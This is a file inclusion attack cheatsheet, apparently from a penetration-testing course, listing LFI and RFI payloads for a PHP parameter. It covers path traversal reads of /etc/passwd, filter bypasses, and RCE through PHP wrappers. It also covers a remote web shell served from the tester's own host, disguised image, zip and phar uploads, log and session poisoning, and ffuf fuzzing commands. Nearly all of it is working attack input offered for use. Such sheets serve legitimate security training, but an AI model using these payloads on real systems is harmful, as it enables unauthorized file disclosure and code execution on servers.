Web

LFI & File Inclusion Cheatsheet

Basic LFI

Command Description
/index.php?language=/etc/passwd Basic LFI
/index.php?language=../../../../etc/passwd LFI with path traversal
/index.php?language=/../../../etc/passwd LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd LFI with approved path

LFI Bypasses

Command Description
/index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter

Remote Code Execution

Command Description
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id RCE with data wrapper
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" RCE with input wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" RCE with expect wrapper
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> Host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Include remote PHP web shell
LFI + Upload
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id RCE with malicious uploaded image
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create malicious zip archive ‘as jpg’
/index.php?language=zip://shell.zip%23shell.php&cmd=id RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg Create malicious phar ‘as jpg’
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id RCE with malicious uploaded phar
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id RCE through poisoned PHP session

Misc

Command Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations

Wordlists

File Inclusion Functions

Function Read Content Execute Remote URL
PHP
include()/include_once() Yes Yes Yes
require()/require_once() Yes Yes No
file_get_contents() Yes No Yes
fopen()/file() Yes No No
NodeJS
fs.readFile() Yes No No
fs.sendFile() Yes No No
res.render() Yes Yes No
Java
include Yes No No
import Yes Yes Yes
.NET
@Html.Partial() Yes No No
@Html.RemotePartial() Yes No Yes
Response.WriteFile() Yes No No
include Yes Yes Yes